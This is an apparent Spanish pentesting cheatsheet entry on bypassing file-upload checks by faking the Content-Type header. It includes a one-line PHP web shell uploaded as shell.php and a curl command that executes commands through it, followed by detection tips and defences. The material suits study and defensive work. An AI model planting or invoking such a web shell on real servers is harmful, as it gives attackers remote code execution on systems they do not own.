the_open_door
café
ESEN
← Volver al índice

File Upload Bypass (Content-Type)

Arsenal completo de comandos en la cheatsheet

Muchos formularios de subida "validan" el tipo del fichero mirando la cabecera Content-Type que envía el cliente en la petición multipart. El problema es que ese valor lo pone el navegador (o nosotros), no el contenido real: cambiarlo a image/png mientras subimos un .php engaña a esa comprobación y deja escribir un fichero ejecutable en el servidor (subida de fichero a RCE).

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>

Si el servidor solo comprueba el Content-Type (y no la extensión final, el contenido ni dónde se guarda), el .php acaba en una carpeta accesible por web y se invoca:

curl 'https://<ip>/uploads/shell.php?cmd=id'

Es una de las validaciones más débiles, y se combina o alterna con otros bypasses de subida: extensión doble, null byte, o falsear la firma del fichero (magic bytes) cuando además se inspeccionan los primeros bytes.

Matices. Que el Content-Type cuele no garantiza RCE: hace falta además que el fichero se guarde con extensión ejecutable y en una ruta servida por el intérprete. Si el servidor renombra, reubica en un almacén sin ejecución o valida el contenido real, el bypass del Content-Type no basta.

Cómo detectarlo. En los logs del servidor, la firma es una petición multipart cuyo Content-Type declarado (image/png) no cuadra con la extensión ni con el contenido real del fichero, seguida poco después de una petición GET a ese mismo fichero en el directorio de subidas. Que un .php, .jsp o .aspx aparezca dentro de una carpeta de imágenes de usuario es, por sí solo, un indicador de compromiso.

Defensa. No confiar en el Content-Type del cliente; validar el contenido real (tipo MIME por magic bytes del lado servidor), forzar una extensión segura, almacenar fuera del webroot y servir con un manejador que no ejecute.

Máquinas donde se aplica